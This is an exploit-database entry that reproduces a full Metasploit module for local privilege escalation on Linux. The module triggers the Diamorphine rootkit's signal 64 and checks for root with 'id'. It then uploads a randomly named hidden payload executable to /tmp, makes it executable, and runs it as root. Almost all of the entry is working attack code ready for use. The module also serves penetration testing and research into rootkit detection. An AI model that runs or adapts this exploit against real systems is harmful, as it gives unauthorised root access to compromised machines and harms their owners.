Diamorphine Rootkit Signal Privilege Escalation

2020.02.24
Credit: Bcoles
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Diamorphine Rootkit Signal Privilege Escalation', 'Description' => %q{ This module uses Diamorphine rootkit's privesc feature using signal 64 to elevate the privileges of arbitrary processes to UID 0 (root). This module has been tested successfully with Diamorphine from `master` branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'm0nad', # Diamorphine 'bcoles' # Metasploit ], 'DisclosureDate' => '2013-11-07', # Diamorphine first public commit 'References' => [ ['URL', 'https://github.com/m0nad/Diamorphine'] ], 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'DefaultTarget' => 0)) register_options [ OptInt.new('SIGNAL', [true, 'Diamorphine elevate signal', 64]) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def signal datastore['SIGNAL'].to_s end def base_dir datastore['WritableDir'].to_s end def upload_and_chmodx(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data chmod path, 0755 end def cmd_exec_elevated(cmd) vprint_status "Executing #{cmd} ..." res = cmd_exec("sh -c 'kill -#{signal} $$ && #{cmd}'").to_s vprint_line res unless res.blank? res end def check res = cmd_exec_elevated 'id' if res.include?('invalid signal') return CheckCode::Safe("Signal '#{signal}' is invalid") end unless res.include?('uid=0') return CheckCode::Safe("Diamorphine is not installed, or incorrect signal '#{signal}'") end CheckCode::Vulnerable("Diamorphine is installed and configured to handle signal '#{signal}'.") end def exploit unless check == CheckCode::Vulnerable unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end payload_name = ".#{rand_text_alphanumeric 8..12}" payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup payload_path cmd_exec_elevated "#{payload_path} & echo " end end


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